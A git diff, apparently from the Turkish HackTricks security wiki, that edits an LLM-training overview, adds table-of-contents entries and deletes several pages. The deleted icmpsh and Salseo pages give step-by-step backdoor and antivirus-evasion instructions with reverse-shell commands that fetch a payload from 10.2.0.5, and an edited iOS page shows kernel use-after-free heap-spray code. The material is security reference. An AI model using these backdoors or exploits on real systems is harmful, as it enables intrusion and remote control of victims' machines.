bu gönderiyi okumaya başlamalıs > [!TIP] > Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'a modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir nokta olacaktır.\ -> Başlangıçta her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu konumlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir). +> Başlangıçta, her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu konumlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir). > -> Ayrıca, token gömme sırasında **gömme katmanlarının başka bir katmanı oluşturulur** ki bu, **eğitim cümlesindeki kelimenin mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelimenin farklı bir temsili (anlamı) olacaktır. +> Ayrıca, token gömme sırasında **gömme katmanının başka bir katmanı oluşturulur** ki bu da (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu temsil eder.** Bu şekilde, cümledeki farklı konumlarda bir kelimenin farklı bir temsili (anlamı) olacaktır. {{#ref}} 3.-token-embeddings.md @@ -43,8 +45,8 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 4. Dikkat Mekanizmaları > [!TIP] -> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **sözlükteki bir kelimenin, LLM'yi eğitmek için kullanılan mevcut cümledeki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacaktır.\ -> Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacaktır. +> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak.** Bunlar, **sözlükteki bir kelimenin, LLM'yi eğitmek için kullanılan mevcut cümledeki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacaktır.**\ +> Bunun için çok sayıda katman kullanılmaktadır, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacaktır. {{#ref}} 4.-attention-mechanisms.md @@ -53,9 +55,9 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 5. LLM Mimarisi > [!TIP] -> Bu beşinci aşamanın amacı çok basit: **Tam LLM'nin mimarisini geliştirmek.** Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere dönüştürmek ve tersine çevirmek için tüm işlevleri oluşturun. +> Bu beşinci aşamanın amacı çok basit: **Tam LLM'nin mimarisini geliştirmek.** Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni kimliklere ve geriye dönüştürmek için tüm işlevleri oluşturun. > -> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmini için kullanılacaktır. +> Bu mimari, hem eğitim hem de eğitimden sonra metin tahmin etmek için kullanılacaktır. {{#ref}} 5.-llm-architecture.md @@ -64,7 +66,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 6. Ön Eğitim ve Modellerin Yüklenmesi > [!TIP] -> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek.** Bunun için önceki LLM mimarisi, tanımlı kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır. +> Bu altıncı aşamanın amacı çok basit: **Modeli sıfırdan eğitmek.** Bunun için önceki LLM mimarisi, tanımlanan kayıp fonksiyonları ve optimizasyon kullanarak veri setleri üzerinde döngülerle tüm model parametrelerini eğitmek için kullanılacaktır. {{#ref}} 6.-pre-training-and-loading-models.md @@ -73,7 +75,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 7.0. İnce Ayar için LoRA İyileştirmeleri > [!TIP] -> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır. +> **LoRA'nın kullanımı, zaten eğitilmiş modelleri ince ayar yapmak için gereken hesaplamayı büyük ölçüde azaltır.** {{#ref}} 7.0.-lora-improvements-in-fine-tuning.md @@ -82,7 +84,7 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 7.1. Sınıflandırma için İnce Ayar > [!TIP] -> Bu bölümün amacı, **yeni metin oluşturmak yerine, LLM'nin verilen metnin her bir verilen kategoriye ait olma olasılıklarını seçmesini** sağlamak için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı göstermektir (örneğin, bir metnin spam olup olmadığını belirlemek). +> Bu bölümün amacı, yeni metin oluşturmak yerine LLM'nin **verilen metnin her bir verilen kategoriye sınıflandırılma olasılıklarını** seçmesini sağlamak için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı göstermektir (örneğin, bir metnin spam olup olmadığını belirlemek). {{#ref}} 7.1.-fine-tuning-for-classification.md @@ -91,8 +93,10 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs ## 7.2. Talimatları Takip Etmek için İnce Ayar > [!TIP] -> Bu bölümün amacı, **metin oluşturmak yerine talimatları takip etmek için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek. +> Bu bölümün amacı, yalnızca metin oluşturmak yerine, örneğin, bir sohbet botu olarak görevlere yanıt vermek için **zaten önceden eğitilmiş bir modeli talimatları takip edecek şekilde nasıl ince ayar yapacağınızı** göstermektir. {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} + +{{#include /banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d902fdb93..f83536cbe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -149,6 +149,7 @@ - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) - [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md) + - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md) - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md) - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md) @@ -217,8 +218,10 @@ # 🪟 Windows Hardening +- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) @@ -248,6 +251,7 @@ - [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md) - [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md) - [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md) + - [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md) - [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md) - [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md) - [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) @@ -330,7 +334,7 @@ - [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md) - [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md) - [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md) - - [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) + - [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) - [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) - [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) @@ -388,6 +392,7 @@ - [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) - [CGI](network-services-pentesting/pentesting-web/cgi.md) + - [Django](network-services-pentesting/pentesting-web/django.md) - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) @@ -398,7 +403,6 @@ - [Flask](network-services-pentesting/pentesting-web/flask.md) - [Git](network-services-pentesting/pentesting-web/git.md) - [Golang](network-services-pentesting/pentesting-web/golang.md) - - [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md) - [Grafana](network-services-pentesting/pentesting-web/grafana.md) - [GraphQL](network-services-pentesting/pentesting-web/graphql.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) @@ -430,7 +434,7 @@ - [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) - [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) - [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) - - [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) + - [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) - [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md) - [Python](network-services-pentesting/pentesting-web/python.md) @@ -438,6 +442,7 @@ - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md) - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]() - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) + - [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md) - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) - [Symfony](network-services-pentesting/pentesting-web/symphony.md) - [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md) @@ -582,6 +587,7 @@ - [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md) - [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) - [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + - [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md) - [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) - [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) - [Email Injections](pentesting-web/email-injections.md) @@ -609,6 +615,7 @@ - [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) - [IDOR](pentesting-web/idor.md) - [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) +- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md) - [LDAP Injection](pentesting-web/ldap-injection.md) - [Login Bypass](pentesting-web/login-bypass/README.md) - [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md) @@ -641,6 +648,7 @@ - [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) - [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) - [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md) + - [Sqlmap](pentesting-web/sql-injection/sqlmap.md) - [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) - [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) - [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -664,6 +672,7 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) +- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) @@ -845,13 +854,14 @@ # ✍️ TODO -- [Other Big References](todo/references.md) +- [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) - [MISC](todo/misc.md) -- [Pentesting DNS](todo/pentesting-dns.md) - [Hardware Hacking](todo/hardware-hacking/README.md) + - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) + - [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md) - [UART](todo/hardware-hacking/uart.md) - [Radio](todo/hardware-hacking/radio.md) - [JTAG](todo/hardware-hacking/jtag.md) @@ -878,8 +888,6 @@ - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() - [Android Forensics](todo/android-forensics.md) -- [TR-069](todo/tr-069.md) -- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) - [Online Platforms with API](todo/online-platforms-with-api.md) - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) @@ -887,3 +895,11 @@ - [Cookies Policy](todo/cookies-policy.md) + + - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) + - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) + - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) + - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) + - [Readme](reversing/cryptographic-algorithms/README.md) + - [Readme](reversing/reversing-tools/README.md) + - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file diff --git a/src/android-forensics.md b/src/android-forensics.md deleted file mode 100644 index 0a07c2da7..000000000 --- a/src/android-forensics.md +++ /dev/null @@ -1,27 +0,0 @@ -# Android Adli Tıp - -{{#include ./banners/hacktricks-training.md}} - -## Kilitli Cihaz - -Bir Android cihazdan veri çıkarmaya başlamak için cihazın kilidinin açılması gerekir. Eğer kilitliyse şunları yapabilirsiniz: - -- Cihazın USB üzerinden hata ayıklamanın etkin olup olmadığını kontrol edin. -- Olası bir [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) kontrol edin. -- [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) ile deneyin. - -## Veri Edinimi - -Bir [android yedeği oluşturun](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) ve bunu [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) kullanarak çıkarın: `java -jar abe.jar unpack file.backup file.tar` - -### Eğer root erişimi veya JTAG arayüzüne fiziksel bağlantı varsa - -- `cat /proc/partitions` (flash belleğin yolunu arayın, genellikle ilk giriş _mmcblk0_ olup tüm flash belleği temsil eder). -- `df /data` (sistemin blok boyutunu keşfedin). -- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (blok boyutundan elde edilen bilgilerle çalıştırın). - -### Bellek - -RAM bilgilerini çıkarmak için Linux Memory Extractor (LiME) kullanın. Bu, adb üzerinden yüklenmesi gereken bir çekirdek uzantısıdır. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md deleted file mode 100644 index 6d9d39aa9..000000000 --- a/src/backdoors/icmpsh.md +++ /dev/null @@ -1,25 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Arka kapıyı indirin: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) - -# İstemci tarafı - -Scripti çalıştırın: **run.sh** - -**Eğer bir hata alırsanız, satırları değiştirmeyi deneyin:** -```bash -IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) -IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') -``` -**İçin:** -```bash -echo Please insert the IP where you want to listen -read IP -``` -# **Kurban Tarafı** - -**icmpsh.exe** dosyasını kurbana yükleyin ve çalıştırın: -```bash -icmpsh.exe -t -d 500 -b 30 -s 128 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md deleted file mode 100644 index 8285d6208..000000000 --- a/src/backdoors/salseo.md +++ /dev/null @@ -1,158 +0,0 @@ -# Salseo - -{{#include ../banners/hacktricks-training.md}} - -## Binaries' Derlenmesi - -Github'dan kaynak kodunu indirin ve **EvilSalsa** ile **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir. - -Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, o mimari için derleyin). - -**Mimariyi seçebilirsiniz** Visual Studio'da **sol "Build" Sekmesi** içindeki **"Platform Target"** kısmında. - -(**Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\ Properties"**'e tıklayın) - -![](<../images/image (132).png>) - -Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlar içinde çalıştırılabilir dosyanın yolu görünecektir): - -![](<../images/image (1) (2) (1) (1) (1).png>) - -## Arka Kapıyı Hazırlama - -Öncelikle, **EvilSalsa.dll**'yı kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: - -### **Python** -``` -python EncrypterAssembly/encrypterassembly.py -python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt -``` -### Windows -``` -EncrypterAssembly.exe -EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt -``` -Tamam, şimdi Salseo ile ilgili her şeyi gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.** - -**SalseoLoader.exe binary'sini makineye yükle. Hiçbir antivirüs tarafından tespit edilmemelidir...** - -## **Arka kapıyı çalıştır** - -### **TCP ters shell almak (HTTP üzerinden encoded dll indirme)** - -nc'yi ters shell dinleyicisi olarak başlatmayı ve encoded evilsalsa'yı sunmak için bir HTTP sunucusu kurmayı unutma. -``` -SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp -``` -### **UDP ters shell almak (SMB üzerinden kodlanmış dll indirme)** - -Ters shell dinleyicisi olarak bir nc başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu kurmayı unutmayın. -``` -SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp -``` -### **ICMP ters shell almak (kurbanın içinde kodlanmış dll zaten mevcut)** - -**Bu sefer ters shell almak için istemcide özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **ICMP Yanıtlarını Devre Dışı Bırak:** -``` -sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -#You finish, you can enable it again running: -sysctl -w net.ipv4.icmp_echo_ignore_all=0 -``` -#### İstemciyi çalıştır: -``` -python icmpsh_m.py "" "" -``` -#### Kurbanın içinde, salseo şeyini çalıştıralım: -``` -SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp -``` -## SalseoLoader'ı ana fonksiyonu dışa aktaran DLL olarak derleme - -SalseoLoader projesini Visual Studio ile açın. - -### Ana fonksiyondan önce ekleyin: \[DllExport] - -![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -### Bu proje için DllExport'ı yükleyin - -#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...** - -![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencereyi kabul edin)** - -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -Proje klasörünüzde **DllExport.bat** ve **DllExport_Configure.bat** dosyaları belirdi. - -### **U**ninstall DllExport - -**Kaldır**'a basın (evet, garip ama bana güvenin, bu gerekli) - -![](<../images/image (5) (1) (1) (2) (1).png>) - -### **Visual Studio'dan çıkın ve DllExport_configure'ı çalıştırın** - -Sadece **çıkın** Visual Studio'dan - -Sonra, **SalseoLoader klasörünüze** gidin ve **DllExport_Configure.bat**'ı çalıştırın. - -**x64**'ü seçin (eğer x64 bir kutu içinde kullanacaksanız, benim durumum buydu), **System.Runtime.InteropServices**'i seçin ( **DllExport için Ad Alanı** içinde) ve **Uygula**'ya basın. - -![](<../images/image (7) (1) (1) (1) (1).png>) - -### **Projeyi tekrar Visual Studio ile açın** - -**\[DllExport]** artık hata olarak işaretlenmemelidir. - -![](<../images/image (8) (1).png>) - -### Çözümü derleyin - -**Çıktı Türü = Sınıf Kütüphanesi**'ni seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çıktı türü = Sınıf Kütüphanesi) - -![](<../images/image (10) (1).png>) - -**x64** **platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64) - -![](<../images/image (9) (1) (1).png>) - -Çözümü **derlemek** için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) - -### Üretilen Dll'yi test edin - -Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın. - -Çalıştırın: -``` -rundll32.exe SalseoLoader.dll,main -``` -Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!! - -## DLL kullanarak bir shell alın - -Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın. - -### Powershell -``` -$env:pass="password" -$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" -$env:lhost="10.2.0.5" -$env:lport="1337" -$env:shell="reversetcp" -rundll32.exe SalseoLoader.dll,main -``` -### CMD -``` -set pass=password -set payload=http://10.2.0.5/evilsalsax64.dll.txt -set lhost=10.2.0.5 -set lport=1337 -set shell=reversetcp -rundll32.exe SalseoLoader.dll,main -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 00e2b6571..11f28b2aa 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1 +1,3 @@ -# Keyfi Yazma 2 Çalıştır +# Arbitrary Write 2 Exec + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 5f62da421..326dd9542 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,5 +1,7 @@ # iOS Exploiting +{{#include /banners/hacktricks-training.md}} + ## Fiziksel kullanımdan sonra serbest bırakma Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir. @@ -16,10 +18,10 @@ Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir: * Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder. * **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar. 2. **L2 Sayfa Tablosu (Seviye 2)**: -* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 bayt** (32 MB) temsil eder. +* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini temsil eder, özellikle **0x2000000 bayt** (32 MB). * Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir. 3. **L3 Sayfa Tablosu (Seviye 3)**: -* Bu en ince seviyedir; her giriş tek bir **4 KB** bellek sayfasını haritalar. +* Bu en ince seviyedir, burada her giriş tek bir **4 KB** bellek sayfasını haritalar. * Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir. #### Sanal Belleği Fiziksel Belleğe Haritalama @@ -27,7 +29,7 @@ Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir: * **Doğrudan Haritalama (Blok Haritalama)**: * Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi). * **Çocuk Sayfa Tablosuna İşaretçi**: -* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir **çocuk sayfa tablosuna** işaret edebilir. +* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki **çocuk sayfa tablosuna** işaret edebilir (örneğin, L2). #### Örnek: Sanal Bir Adresi Haritalama @@ -57,7 +59,7 @@ Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) durumu, şu durumlard 1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**. 2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir. -3. Süreç belleği **serbest bırakır** (boşaltır). +3. Süreç bu belleği **serbest bırakır** (boşaltır). 4. Ancak, bir **hata** nedeniyle, kernel **haritalamayı** sayfa tablosundan kaldırmayı unutur, oysa ilgili fiziksel belleği serbest olarak işaretler. 5. Kernel, bu "serbest bırakılmış" fiziksel belleği, **kernel verileri** gibi diğer amaçlar için **yeniden tahsis edebilir**. 6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala **okuma ve yazma** yapabilir. @@ -68,12 +70,12 @@ Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır: -1. Saldırgan, kernel belleğinde **birçok IOSurface nesnesi** oluşturur. -2. Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında **sihirli bir değer** içerir. +1. Saldırgan, kernel belleğinde çok sayıda **IOSurface nesnesi** oluşturur. +2. Her IOSurface nesnesi, kolayca tanımlanabilmesi için bir alanında bir **sihirli değer** içerir. 3. Serbest bırakılmış sayfaları **tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder. 4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler. -Bu konuda daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır. +Bununla ilgili daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresindedir. ### Adım Adım Heap Spray Süreci @@ -83,7 +85,7 @@ Bu konuda daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups]( * Kernel belleğindeki herhangi bir 32 bit değeri **okuma** yeteneği sağlar. * 64 bit değerleri **yazma** yeteneği sağlar ve bu da istikrarlı bir **kernel okuma/yazma ilkesine** ulaşmalarını sağlar. -Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için: +Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun, daha sonra aramak için: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; @@ -138,7 +140,7 @@ free(surfaceIDs); return 0; } ``` -### IOSurface ile Kernel Okuma/Yazma Elde Etme +### Kernel Okuma/Yazma Elde Etme ile IOSurface Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz. @@ -153,9 +155,9 @@ Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki 